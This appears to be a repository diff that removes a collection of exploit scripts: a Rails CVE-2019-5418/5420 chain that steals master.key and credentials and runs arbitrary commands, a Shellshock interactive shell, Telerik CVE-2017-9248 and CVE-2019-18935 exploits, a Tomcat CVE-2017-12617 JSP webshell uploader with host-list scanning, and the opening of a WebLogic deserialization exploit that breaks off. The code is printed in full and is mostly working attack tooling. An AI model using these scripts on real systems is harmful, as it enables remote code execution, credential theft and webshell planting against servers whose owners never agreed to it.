* [Imperva Apache Struts analysis](https://web.archive.org/web/20180305002332/https://www.imperva.com/blog/2017/03/cve-2017-5638-new-remote-code-execution-rce-vulnerability-in-apache-struts-2/)
* [EternalBlue - Wikipedia](https://web.archive.org/web/20260304111336/https://en.wikipedia.org/wiki/EternalBlue)
* [BlueKeep - Microsoft](https://web.archive.org/web/20201104070840/https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0708)

View File

@@ -1,156 +0,0 @@
require 'erb'
require "./demo-5.2.1/config/environment"
require "base64"
require 'net/http'
$proxy_addr = '127.0.0.1'
$proxy_port = 8080
$remote = "http://172.18.0.3:3000"
$ressource = "/demo"
puts "\nRails exploit CVE-2019-5418 + CVE-2019-5420 = RCE\n\n"
print "[+] Checking if vulnerable to CVE-2019-5418 => "
uri = URI($remote + $ressource)
req = Net::HTTP::Get.new(uri)
req['Accept'] = "../../../../../../../../../../etc/passwd{{"
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
http.request(req)
}
if res.body.include? "root:x:0:0:root:"
puts "\033[92mOK\033[0m"
else
puts "KO"
abort
end
print "[+] Getting file => credentials.yml.enc => "
path = "../../../../../../../../../../config/credentials.yml.enc{{"
for $i in 0..9
uri = URI($remote + $ressource)
req = Net::HTTP::Get.new(uri)
req['Accept'] = path[3..57]
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
http.request(req)
}
if res.code == "200"
puts "\033[92mOK\033[0m"
File.open("credentials.yml.enc", 'w') { |file| file.write(res.body) }
break
end
path = path[3..57]
$i +=1;
end
print "[+] Getting file => master.key => "
path = "../../../../../../../../../../config/master.key{{"
for $i in 0..9
uri = URI($remote + $ressource)
req = Net::HTTP::Get.new(uri)
req['Accept'] = path[3..57]
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
http.request(req)
}
if res.code == "200"
puts "\033[92mOK\033[0m"
File.open("master.key", 'w') { |file| file.write(res.body) }
break
end
path = path[3..57]
$i +=1;
end
print "[+] Decrypt secret_key_base => "
credentials_config_path = File.join("../", "credentials.yml.enc")
credentials_key_path = File.join("../", "master.key")
ENV["RAILS_MASTER_KEY"] = res.body
credentials = ActiveSupport::EncryptedConfiguration.new(
config_path: Rails.root.join(credentials_config_path),
key_path: Rails.root.join(credentials_key_path),
env_key: "RAILS_MASTER_KEY",
raise_if_missing_key: true
)
if credentials.secret_key_base != nil
puts "\033[92mOK\033[0m"
puts ""
puts "secret_key_base": credentials.secret_key_base
puts ""
end
puts "[+] Getting reflective command (R) or reverse shell (S) => "
loop do
begin
input = [(print 'Select option R or S: '), gets.rstrip][1]
if input == "R"
puts "Reflective command selected"
command = [(print "command (\033[92mreflected\033[0m): "), gets.rstrip][1]
elsif input == "S"
puts "Reverse shell selected"
command = [(print "command (\033[92mnot reflected\033[0m): "), gets.rstrip][1]
else
puts "No option selected"
abort
end
command_b64 = Base64.encode64(command)
print "[+] Generating payload CVE-2019-5420 => "
secret_key_base = credentials.secret_key_base
key_generator = ActiveSupport::CachingKeyGenerator.new(ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000))
secret = key_generator.generate_key("ActiveStorage")
verifier = ActiveSupport::MessageVerifier.new(secret)
if input == "R"
code = "system('bash','-c','" + command + " > /tmp/result.txt')"
else
code = "system('bash','-c','" + command + "')"
end
erb = ERB.allocate
erb.instance_variable_set :@src, code
erb.instance_variable_set :@filename, "1"
erb.instance_variable_set :@lineno, 1
dump_target = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result
puts "\033[92mOK\033[0m"
puts ""
url = $remote + "/rails/active_storage/disk/" + verifier.generate(dump_target, purpose: :blob_key) + "/test"
puts url
puts ""
print "[+] Sending request => "
uri = URI(url)
req = Net::HTTP::Get.new(uri)
req['Accept'] = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
http.request(req)
}
if res.code == "500"
puts "\033[92mOK\033[0m"
else
puts "KO"
abort
end
if input == "R"
print "[+] Getting result of command => "
uri = URI($remote + $ressource)
req = Net::HTTP::Get.new(uri)
req['Accept'] = "../../../../../../../../../../tmp/result.txt{{"
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http|
http.request(req)
}
if res.code == "200"
puts "\033[92mOK\033[0m\n\n"
puts res.body
puts "\n"
else
puts "KO"
abort
end
end
rescue Exception => e
puts "Exiting..."
abort
end
end

View File

@@ -1,36 +0,0 @@
#!/usr/bin/python
# Successful Output:
# # python shell_shocker.py <VulnURL>
# [+] Attempting Shell_Shock - Make sure to type full path
# ~$ /bin/ls /
# bin
# boot
# dev
# etc
# ..
# ~$ /bin/cat /etc/passwd
from __future__ import print_function
from future import standard_library
standard_library.install_aliases()
from builtins import input
import sys, urllib.request, urllib.error, urllib.parse
if len(sys.argv) != 2:
print("Usage: shell_shocker <URL>")
sys.exit(0)
URL=sys.argv[1]
print("[+] Attempting Shell_Shock - Make sure to type full path")
while True:
command=input("~$ ")
opener=urllib.request.build_opener()
opener.addheaders=[('User-agent', '() { foo;}; echo Content-Type: text/plain ; echo ; '+command)]
try:
response=opener.open(URL)
for line in response.readlines():
print(line.strip())
except Exception as e: print(e)

View File

@@ -1,362 +0,0 @@
# Author: Paul Taylor / @bao7uo
# https://github.com/bao7uo/dp_crypto/blob/master/dp_crypto.py
# dp_crypto - CVE-2017-9248 exploit
# Telerik.Web.UI.dll Cryptographic compromise
# Warning - no cert warnings,
# and verify = False in code below prevents verification
import sys
import base64
import requests
import re
import binascii
import argparse
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
requests_sent = 0
char_requests = 0
def getProxy(proxy):
return { "http" : proxy, "https" : proxy }
def get_result(plaintext, key, session, pad_chars):
global requests_sent, char_requests
url = args.url
base_pad = (len(key) % 4)
base = '' if base_pad == 0 else pad_chars[0:4 - base_pad]
dp_encrypted = base64.b64encode(
(encrypt(plaintext, key) + base).encode()
).decode()
request = requests.Request('GET', url + '?dp=' + dp_encrypted)
request = request.prepare()
response = session.send(request, verify=False, proxies = getProxy(args.proxy))
requests_sent += 1
char_requests += 1
match = re.search("(Error Message:)(.+\n*.+)(</div>)", response.text)
return True \
if match is not None \
and match.group(2) == args.oracle \
else False
def test_keychar(keychar, found, session, pad_chars):
base64chars = [
"A", "Q", "g", "w", "B", "R", "h", "x", "C", "S", "i", "y",
"D", "T", "j", "z", "E", "U", "k", "0", "F", "V", "l", "1",
"G", "W", "m", "2", "H", "X", "n", "3", "I", "Y", "o", "4",
"J", "Z", "p", "5", "K", "a", "q", "6", "L", "b", "r", "7",
"M", "c", "s", "8", "N", "d", "t", "9", "O", "e", "u", "+",
"P", "f", "v", "/"
]
duff = False
accuracy_thoroughness_threshold = args.accuracy
for bc in range(int(accuracy_thoroughness_threshold)):
# ^^ max is len(base64chars)
sys.stdout.write("\b\b" + base64chars[bc] + "]")
sys.stdout.flush()
if not get_result(
base64chars[0] * len(found) + base64chars[bc],
found + keychar, session, pad_chars
):
duff = True
break
return False if duff else True
def encrypt(dpdata, key):
encrypted = []
k = 0
for i in range(len(dpdata)):
encrypted.append(chr(ord(dpdata[i]) ^ ord(key[k])))
k = 0 if k >= len(key) - 1 else k + 1
return ''.join(str(e) for e in encrypted)
def mode_decrypt():
ciphertext = base64.b64decode(args.ciphertext).decode()
key = args.key
print(base64.b64decode(encrypt(ciphertext, key)).decode())
print("")
def mode_encrypt():
plaintext = args.plaintext
key = args.key
plaintext = base64.b64encode(plaintext.encode()).decode()
print(base64.b64encode(encrypt(plaintext, key).encode()).decode())
print("")
def test_keypos(key_charset, unprintable, found, session):
pad_chars = ''
for pad_char in range(256):
pad_chars += chr(pad_char)
for i in range(len(pad_chars)):
for k in range(len(key_charset)):
keychar = key_charset[k]
sys.stdout.write("\b"*6)
sys.stdout.write(
(
keychar
if unprintable is False
else '+'
) +
") [" + (
keychar
if unprintable is False
else '+'
) +
"]"
)
sys.stdout.flush()
if test_keychar(keychar, found, session, pad_chars[i] * 3):
return keychar
return False
def get_key(session):
global char_requests
found = ''
unprintable = False
key_length = args.key_len
key_charset = args.charset
if key_charset == 'all':
unprintable = True
key_charset = ''
for i in range(256):
key_charset += chr(i)
else:
if key_charset == 'hex':
key_charset = '01234567890ABCDEF'
print("Attacking " + args.url)
print(
"to find key of length [" +
str(key_length) +
"] with accuracy threshold [" +
str(args.accuracy) +
"]"
)
print(
"using key charset [" +
(
key_charset
if unprintable is False
else '- all ASCII -'
) +
"]\n"
)
for i in range(int(key_length)):
pos_str = (
str(i + 1)
if i > 8
else "0" + str(i + 1)
)
sys.stdout.write("Key position " + pos_str + ": (------")
sys.stdout.flush()
keychar = test_keypos(key_charset, unprintable, found, session)
if keychar is not False:
found = found + keychar
sys.stdout.write(
"\b"*7 + "{" +
(
keychar
if unprintable is False
else '0x' + binascii.hexlify(keychar.encode()).decode()
) +
"} found with " +
str(char_requests) +
" requests, total so far: " +
str(requests_sent) +
"\n"
)
sys.stdout.flush()
char_requests = 0
else:
sys.stdout.write("\b"*7 + "Not found, quitting\n")
sys.stdout.flush()
break
if keychar is not False:
print("Found key: " +
(
found
if unprintable is False
else "(hex) " + binascii.hexlify(found.encode()).decode()
)
)
print("Total web requests: " + str(requests_sent))
return found
def mode_brutekey():
session = requests.Session()
found = get_key(session)
if found == '':
return
else:
urls = {}
url_path = args.url
params = (
'?DialogName=DocumentManager' +
'&renderMode=2' +
'&Skin=Default' +
'&Title=Document%20Manager' +
'&dpptn=' +
'&isRtl=false' +
'&dp='
)
versions = [
'2007.1423', '2007.1521', '2007.1626', '2007.2918',
'2007.21010', '2007.21107', '2007.31218', '2007.31314',
'2007.31425', '2008.1415', '2008.1515', '2008.1619',
'2008.2723', '2008.2826', '2008.21001', '2008.31105',
'2008.31125', '2008.31314', '2009.1311', '2009.1402',
'2009.1527', '2009.2701', '2009.2826', '2009.31103',
'2009.31208', '2009.31314', '2010.1309', '2010.1415',
'2010.1519', '2010.2713', '2010.2826', '2010.2929',
'2010.31109', '2010.31215', '2010.31317', '2011.1315',
'2011.1413', '2011.1519', '2011.2712', '2011.2915',
'2011.31115', '2011.3.1305', '2012.1.215', '2012.1.411',
'2012.2.607', '2012.2.724', '2012.2.912', '2012.3.1016',
'2012.3.1205', '2012.3.1308', '2013.1.220', '2013.1.403',
'2013.1.417', '2013.2.611', '2013.2.717', '2013.3.1015',
'2013.3.1114', '2013.3.1324', '2014.1.225', '2014.1.403',
'2014.2.618', '2014.2.724', '2014.3.1024', '2015.1.204',
'2015.1.225', '2015.1.401', '2015.2.604', '2015.2.623',
'2015.2.729', '2015.2.826', '2015.3.930', '2015.3.1111',
'2016.1.113', '2016.1.225', '2016.2.504', '2016.2.607',
'2016.3.914', '2016.3.1018', '2016.3.1027', '2017.1.118',
'2017.1.228', '2017.2.503', '2017.2.621', '2017.2.711',
'2017.3.913'
]
plaintext1 = 'EnableAsyncUpload,False,3,True;DeletePaths,True,0,Zmc9PSxmZz09;EnableEmbeddedBaseStylesheet,False,3,True;RenderMode,False,2,2;UploadPaths,True,0,Zmc9PQo=;SearchPatterns,True,0,S2k0cQ==;EnableEmbeddedSkins,False,3,True;MaxUploadFileSize,False,1,204800;LocalizationPath,False,0,;FileBrowserContentProviderTypeName,False,0,;ViewPaths,True,0,Zmc9PQo=;IsSkinTouch,False,3,False;ExternalDialogsPath,False,0,;Language,False,0,ZW4tVVM=;Telerik.DialogDefinition.DialogTypeName,False,0,'
plaintext2_raw1 = 'Telerik.Web.UI.Editor.DialogControls.DocumentManagerDialog, Telerik.Web.UI, Version='
plaintext2_raw3 = ', Culture=neutral, PublicKeyToken=121fae78165ba3d4'
plaintext3 = ';AllowMultipleSelection,False,3,False'
if len(args.version) > 0:
versions = [args.version]
for version in versions:
plaintext2_raw2 = version
plaintext2 = base64.b64encode(
(plaintext2_raw1 +
plaintext2_raw2 +
plaintext2_raw3
).encode()
).decode()
plaintext = plaintext1 + plaintext2 + plaintext3
plaintext = base64.b64encode(
plaintext.encode()
).decode()
ciphertext = base64.b64encode(
encrypt(
plaintext,
found
).encode()
).decode()
full_url = url_path + params + ciphertext
urls[version] = full_url
found_valid_version = False
for version in urls:
url = urls[version]
request = requests.Request('GET', url)
request = request.prepare()
response = session.send(request, verify=False, proxies=getProxy(args.proxy))
if response.status_code == 500:
continue
else:
match = re.search(
"(Error Message:)(.+\n*.+)(</div>)",
response.text
)
if match is None:
print(version + ": " + url)
found_valid_version = True
break
if not found_valid_version:
print("No valid version found")
def mode_samples():
print("Samples for testing decryption and encryption functions:")
print("-d ciphertext key")
print("-e plaintext key")
print("")
print("Key:")
print("DC50EEF37087D124578FD4E205EFACBE0D9C56607ADF522D")
print("")
print("Plaintext:")
print("EnableAsyncUpload,False,3,True;DeletePaths,True,0,Zmc9PSxmZz09;EnableEmbeddedBaseStylesheet,False,3,True;RenderMode,False,2,2;UploadPaths,True,0,Zmc9PQo=;SearchPatterns,True,0,S2k0cQ==;EnableEmbeddedSkins,False,3,True;MaxUploadFileSize,False,1,204800;LocalizationPath,False,0,;FileBrowserContentProviderTypeName,False,0,;ViewPaths,True,0,Zmc9PQo=;IsSkinTouch,False,3,False;ExternalDialogsPath,False,0,;Language,False,0,ZW4tVVM=;Telerik.DialogDefinition.DialogTypeName,False,0,VGVsZXJpay5XZWIuVUkuRWRpdG9yLkRpYWxvZ0NvbnRyb2xzLkRvY3VtZW50TWFuYWdlckRpYWxvZywgVGVsZXJpay5XZWIuVUksIFZlcnNpb249MjAxNi4yLjUwNC40MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj0xMjFmYWU3ODE2NWJhM2Q0;AllowMultipleSelection,False,3,False")
print("")
print("Ciphertext:")
print("FhQAWBwoPl9maHYCJlx8YlZwQDAdYxRBYlgDNSJxFzZ9PUEWVlhgXHhxFipXdWR0HhV3WCECLkl7dmpOIGZnR3h0QCcmYwgHZXMLciMVMnN9AFJ0Z2EDWG4sPCpnZQMtHhRnWx8SFHBuaHZbEQJgAVdwbjwlcxNeVHY9ARgUOj9qF045eXBkSVMWEXFgX2QxHgRjSRESf1htY0BwHWZKTm9kTz8IcAwFZm0HNSNxBC5lA39zVH57Q2EJDndvYUUzCAVFRBw/KmJiZwAOCwB8WGxvciwlcgdaVH0XKiIudz98Ams6UWFjQ3oCPBJ4X0EzHXJwCRURMnVVXX5eJnZkcldgcioecxdeanMLNCAUdz98AWMrV354XHsFCTVjenh1HhdBfhwdLmVUd0BBHWZgc1RgQCoRBikEamY9ARgUOj9qF047eXJ/R3kFIzF4dkYJJnF7WCcCKgVuaGpHJgMHZWxvaikIcR9aUn0LKg0HAzZ/dGMzV3Fgc1QsfXVWAGQ9FXEMRSECEEZTdnpOJgJoRG9wbj8SfClFamBwLiMUFzZiKX8wVgRjQ3oCM3FjX14oIHJ3WCECLkl7dmpOIGZnR3h0QCcmYwgHZXMDMBEXNg9TdXcxVGEDZVVyEixUcUoDHRRNSh8WMUl7dWJfJnl8WHoHbnIgcxNLUlgDNRMELi1SAwAtVgd0WFMGIzVnX3Q3J3FgQwgGMQRjd35CHgJkXG8FbTUWWQNBUwcQNQwAOiRmPmtzY1psfmcVMBNvZUooJy5ZQgkuFENuZ0BBHgFgWG9aVDMlbBdCUgdxMxMELi1SAwAtY35aR20UcS5XZWc3Fi5zQyZ3E0B6c0BgFgBoTmJbUA0ncwMHfmMtJxdzLnRmKG8xUWB8aGIvBi1nSF5xEARBYyYDKmtSeGJWCXQHBmxaDRUhYwxLVX01CyByCHdnEHcUUXBGaHkVBhNjAmh1ExVRWycCCEFiXnptEgJaBmJZVHUeBR96ZlsLJxYGMjJpHFJyYnBGaGQZEhFjZUY+FxZvUScCCEZjXnpeCVtjAWFgSAQhcXBCfn0pCyAvFHZkL3RzeHMHdFNzIBR4A2g+HgZdZyATNmZ6aG5WE3drQ2wFCQEnBD12YVkDLRdzMj9pEl0MYXBGaVUHEi94XGA3HS5aRyAAd0JlXQltEgBnTmEHagAJX3BqY1gtCAwvBzJ/dH8wV3EPA2MZEjVRdV4zJgRjZB8SPl9uA2pHJgMGR2dafjUnBhBBfUw9ARgUOj9qFQR+")
print("")
def mode_b64e():
print(base64.b64encode(args.parameter.encode()).decode())
print("")
def mode_b64d():
print(base64.b64decode(args.parameter.encode()).decode())
print("")
sys.stderr.write(
"\ndp_crypto by Paul Taylor / @bao7uo\nCVE-2017-9248 - " +
"Telerik.Web.UI.dll Cryptographic compromise\n\n"
)
p = argparse.ArgumentParser()
subparsers = p.add_subparsers()
decrypt_parser = subparsers.add_parser('d', help='Decrypt a ciphertext')
decrypt_parser.set_defaults(func=mode_decrypt)
decrypt_parser.add_argument('ciphertext', action='store', type=str, default='', help='Ciphertext to decrypt')
decrypt_parser.add_argument('key', action='store', type=str, default='', help='Key to decrypt')
encrypt_parser = subparsers.add_parser('e', help='Encrypt a plaintext')
encrypt_parser.set_defaults(func=mode_encrypt)
encrypt_parser.add_argument('plaintext', action='store', type=str, default='', help='Ciphertext to decrypt')
encrypt_parser.add_argument('key', action='store', type=str, default='', help='Key to decrypt')
brute_parser = subparsers.add_parser('k', help='Bruteforce key/generate URL')
brute_parser.set_defaults(func=mode_brutekey)
brute_parser.add_argument('-u', '--url', action='store', type=str, help='Target URL')
brute_parser.add_argument('-l', '--key-len', action='store', type=int, default=48, help='Len of the key to retrieve, OPTIONAL: default is 48')
brute_parser.add_argument('-o', '--oracle', action='store', type=str, default='Index was outside the bounds of the array.', help='The oracle text to use. OPTIONAL: default value is for english version, other languages may have other error message')
brute_parser.add_argument('-v', '--version', action='store', type=str, default='', help='OPTIONAL. Specify the version to use rather than iterating over all of them')
brute_parser.add_argument('-c', '--charset', action='store', type=str, default='hex', help='Charset used by the key, can use all, hex, or user defined. OPTIONAL: default is hex')
brute_parser.add_argument('-a', '--accuracy', action='store', type=int, default=9, help='Maximum accuracy is out of 64 where 64 is the most accurate, \
accuracy of 9 will usually suffice for a hex, but 21 or more might be needed when testing all ascii characters. Increase the accuracy argument if no valid version is found. OPTIONAL: default is 9.')
brute_parser.add_argument('-p', '--proxy', action='store', type=str, default='', help='Specify OPTIONAL proxy server, e.g. 127.0.0.1:8080')
encode_parser = subparsers.add_parser('b', help='Encode parameter to base64')
encode_parser.set_defaults(func=mode_b64e)
encode_parser.add_argument('parameter', action='store', type=str, help='Parameter to encode')
decode_parser = subparsers.add_parser('p', help='Decode base64 parameter')
decode_parser.set_defaults(func=mode_b64d)
decode_parser.add_argument('parameter', action='store', type=str, help='Parameter to decode')
args = p.parse_args()
if len(sys.argv) > 2:
args.func()

View File

@@ -1,140 +0,0 @@
#!/usr/bin/env python3
# origin : https://github.com/noperator/CVE-2019-18935
# INSTALL:
# git clone https://github.com/noperator/CVE-2019-18935.git && cd CVE-2019-18935
# python3 -m venv env
# source env/bin/activate
# pip3 install -r requirements.txt
# Import encryption routines.
from sys import path
path.insert(1, 'RAU_crypto')
from RAU_crypto import RAUCipher
from argparse import ArgumentParser
from json import dumps, loads
from os.path import basename, splitext
from pprint import pprint
from requests import post
from requests.packages.urllib3 import disable_warnings
from sys import stderr
from time import time
from urllib3.exceptions import InsecureRequestWarning
disable_warnings(category=InsecureRequestWarning)
def send_request(files):
headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:54.0) Gecko/20100101 Firefox/54.0',
'Connection': 'close',
'Accept-Language': 'en-US,en;q=0.5',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Upgrade-Insecure-Requests': '1'
}
response = post(url, files=files, verify=False, headers=headers)
try:
result = loads(response.text)
result['metaData'] = loads(RAUCipher.decrypt(result['metaData']))
pprint(result)
except:
print(response.text)
def build_raupostdata(object, type):
return RAUCipher.encrypt(dumps(object)) + '&' + RAUCipher.encrypt(type)
def upload():
# Build rauPostData.
object = {
'TargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(''), ui_version),
'TempTargetFolder': RAUCipher.addHmac(RAUCipher.encrypt(temp_target_folder), ui_version),
'MaxFileSize': 0,
'TimeToLive': { # These values seem a bit arbitrary, but when they're all set to 0, the payload disappears shortly after being written to disk.
'Ticks': 1440000000000,
'Days': 0,
'Hours': 40,
'Minutes': 0,
'Seconds': 0,
'Milliseconds': 0,
'TotalDays': 1.6666666666666666,
'TotalHours': 40,
'TotalMinutes': 2400,
'TotalSeconds': 144000,
'TotalMilliseconds': 144000000
},
'UseApplicationPoolImpersonation': False
}
type = 'Telerik.Web.UI.AsyncUploadConfiguration, Telerik.Web.UI, Version=' + ui_version + ', Culture=neutral, PublicKeyToken=121fae78165ba3d4'
raupostdata = build_raupostdata(object, type)
with open(filename_local, 'rb') as f:
payload = f.read()
metadata = {
'TotalChunks': 1,
'ChunkIndex': 0,
'TotalFileSize': 1,
'UploadID': filename_remote # Determines remote filename on disk.
}
# Build multipart form data.
files = {
'rauPostData': (None, raupostdata),
'file': (filename_remote, payload, 'application/octet-stream'),
'fileName': (None, filename_remote),
'contentType': (None, 'application/octet-stream'),
'lastModifiedDate': (None, '1970-01-01T00:00:00.000Z'),
'metadata': (None, dumps(metadata))
}
# Send request.
print('[*] Local payload name: ', filename_local, file=stderr)
print('[*] Destination folder: ', temp_target_folder, file=stderr)
print('[*] Remote payload name:', filename_remote, file=stderr)
print(file=stderr)
send_request(files)
def deserialize():
# Build rauPostData.
object = {
'Path': 'file:///' + temp_target_folder.replace('\\', '/') + '/' + filename_remote
}
type = 'System.Configuration.Install.AssemblyInstaller, System.Configuration.Install, Version=' + net_version + ', Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a'
raupostdata = build_raupostdata(object, type)
# Build multipart form data.
files = {
'rauPostData': (None, raupostdata), # Only need this now.
'': '' # One extra input is required for the page to process the request.
}
# Send request.
print('\n[*] Triggering deserialization for .NET v' + net_version + '...\n', file=stderr)
start = time()
send_request(files)
end = time()
print('\n[*] Response time:', round(end - start, 2), 'seconds', file=stderr)
if __name__ == '__main__':
parser = ArgumentParser(description='Exploit for CVE-2019-18935, a .NET deserialization vulnerability in Telerik UI for ASP.NET AJAX.')
parser.add_argument('-t', dest='test_upload', action='store_true', help="just test file upload, don't exploit deserialization vuln")
parser.add_argument('-v', dest='ui_version', required=True, help='software version')
parser.add_argument('-n', dest='net_version', default='4.0.0.0', help='.NET version')
parser.add_argument('-p', dest='payload', required=True, help='mixed mode assembly DLL')
parser.add_argument('-f', dest='folder', required=True, help='destination folder on target')
parser.add_argument('-u', dest='url', required=True, help='https://<HOST>/Telerik.Web.UI.WebResource.axd?type=rau')
args = parser.parse_args()
temp_target_folder = args.folder.replace('/', '\\')
ui_version = args.ui_version
net_version = args.net_version
filename_local = args.payload
filename_remote = str(time()) + splitext(basename(filename_local))[1]
url = args.url
upload()
if not args.test_upload:
deserialize()

View File

@@ -1,239 +0,0 @@
#!/usr/bin/python
# From https://github.com/cyberheartmi9/CVE-2017-12617/blob/master/tomcat-cve-2017-12617.py
"""
./cve-2017-12617.py [options]
options:
-u ,--url [::] check target url if it's vulnerable
-p,--pwn [::] generate webshell and upload it
-l,--list [::] hosts list
[+]usage:
./cve-2017-12617.py -u http://127.0.0.1
./cve-2017-12617.py --url http://127.0.0.1
./cve-2017-12617.py -u http://127.0.0.1 -p pwn
./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn
./cve-2017-12617.py -l hotsts.txt
./cve-2017-12617.py --list hosts.txt
"""
from __future__ import print_function
from builtins import input
from builtins import str
from builtins import object
import requests
import re
import signal
from optparse import OptionParser
class bcolors(object):
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
banner="""
_______ ________ ___ ___ __ ______ __ ___ __ __ ______
/ ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ |
| | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / /
| | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / /
| |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / /
\_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/
[@intx0x80]
"""
def signal_handler(signal, frame):
print ("\033[91m"+"\n[-] Exiting"+"\033[0m")
exit()
signal.signal(signal.SIGINT, signal_handler)
def removetags(tags):
remove = re.compile('<.*?>')
txt = re.sub(remove, '\n', tags)
return txt.replace("\n\n\n","\n")
def getContent(url,f):
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
re=requests.get(str(url)+"/"+str(f), headers=headers)
return re.content
def createPayload(url,f):
evil='<% out.println("AAAAAAAAAAAAAAAAAAAAAAAAAAAAA");%>'
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
req=requests.put(str(url)+str(f)+"/",data=evil, headers=headers)
if req.status_code==201:
print("File Created ..")
def RCE(url,f):
EVIL="""<FORM METHOD=GET ACTION='{}'>""".format(f)+"""
<INPUT name='cmd' type=text>
<INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
String output = "";
if(cmd != null) {
String s = null;
try {
Process p = Runtime.getRuntime().exec(cmd,null,null);
BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
while((s = sI.readLine()) != null) { output += s+"</br>"; }
} catch(IOException e) { e.printStackTrace(); }
}
%>
<pre><%=output %></pre>"""
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
req=requests.put(str(url)+f+"/",data=EVIL, headers=headers)
def shell(url,f):
while True:
headers = {'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36'}
cmd=input("$ ")
payload={'cmd':cmd}
if cmd=="q" or cmd=="Q":
break
re=requests.get(str(url)+"/"+str(f),params=payload,headers=headers)
re=str(re.content)
t=removetags(re)
print(t)
#print bcolors.HEADER+ banner+bcolors.ENDC
parse=OptionParser(
bcolors.HEADER+"""
_______ ________ ___ ___ __ ______ __ ___ __ __ ______
/ ____\ \ / / ____| |__ \ / _ \/_ |____ | /_ |__ \ / //_ |____ |
| | \ \ / /| |__ ______ ) | | | || | / /_____| | ) / /_ | | / /
| | \ \/ / | __|______/ /| | | || | / /______| | / / '_ \| | / /
| |____ \ / | |____ / /_| |_| || | / / | |/ /| (_) | | / /
\_____| \/ |______| |____|\___/ |_|/_/ |_|____\___/|_|/_/
./cve-2017-12617.py [options]
options:
-u ,--url [::] check target url if it's vulnerable
-p,--pwn [::] generate webshell and upload it
-l,--list [::] hosts list
[+]usage:
./cve-2017-12617.py -u http://127.0.0.1
./cve-2017-12617.py --url http://127.0.0.1
./cve-2017-12617.py -u http://127.0.0.1 -p pwn
./cve-2017-12617.py --url http://127.0.0.1 -pwn pwn
./cve-2017-12617.py -l hotsts.txt
./cve-2017-12617.py --list hosts.txt
[@intx0x80]
"""+bcolors.ENDC
)
parse.add_option("-u","--url",dest="U",type="string",help="Website Url")
parse.add_option("-p","--pwn",dest="P",type="string",help="generate webshell and upload it")
parse.add_option("-l","--list",dest="L",type="string",help="hosts File")
(opt,args)=parse.parse_args()
if opt.U==None and opt.P==None and opt.L==None:
print(parse.usage)
exit(0)
else:
if opt.U!=None and opt.P==None and opt.L==None:
print(bcolors.OKGREEN+banner+bcolors.ENDC)
url=str(opt.U)
checker="Poc.jsp"
print(bcolors.BOLD +"Poc Filename {}".format(checker))
createPayload(str(url)+"/",checker)
con=getContent(str(url)+"/",checker)
if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
print(bcolors.WARNING+url+' it\'s Vulnerable to CVE-2017-12617'+bcolors.ENDC)
print(bcolors.WARNING+url+"/"+checker+bcolors.ENDC)
else:
print('Not Vulnerable to CVE-2017-12617 ')
elif opt.P!=None and opt.U!=None and opt.L==None:
print(bcolors.OKGREEN+banner+bcolors.ENDC)
pwn=str(opt.P)
url=str(opt.U)
print("Uploading Webshell .....")
pwn=pwn+".jsp"
RCE(str(url)+"/",pwn)
shell(str(url),pwn)
elif opt.L!=None and opt.P==None and opt.U==None:
print(bcolors.OKGREEN+banner+bcolors.ENDC)
w=str(opt.L)
f=open(w,"r")
print("Scaning hosts in {}".format(w))
checker="Poc.jsp"
for i in f.readlines():
i=i.strip("\n")
createPayload(str(i)+"/",checker)
con=getContent(str(i)+"/",checker)
if 'AAAAAAAAAAAAAAAAAAAAAAAAAAAAA' in con:
print(str(i)+"\033[91m"+" [ Vulnerable ] ""\033[0m")

View File

@@ -1,72 +0,0 @@
#!/usr/bin/env python2
#Oracle WebLogic Server Java Object Deserialization RCE (CVE-2016-3510)
#Based on the PoC by FoxGlove Security (https://github.com/foxglovesec/JavaUnserializeExploits)
#Made with <3 by @byt3bl33d3r
from __future__ import print_function
import socket
import struct
import argparse
import os
import sys
from subprocess import check_output
ysoserial_default_paths = ['./ysoserial.jar', '../ysoserial.jar']
ysoserial_path = None
parser = argparse.ArgumentParser()
parser.add_argument('target', type=str, help='Target IP:PORT')
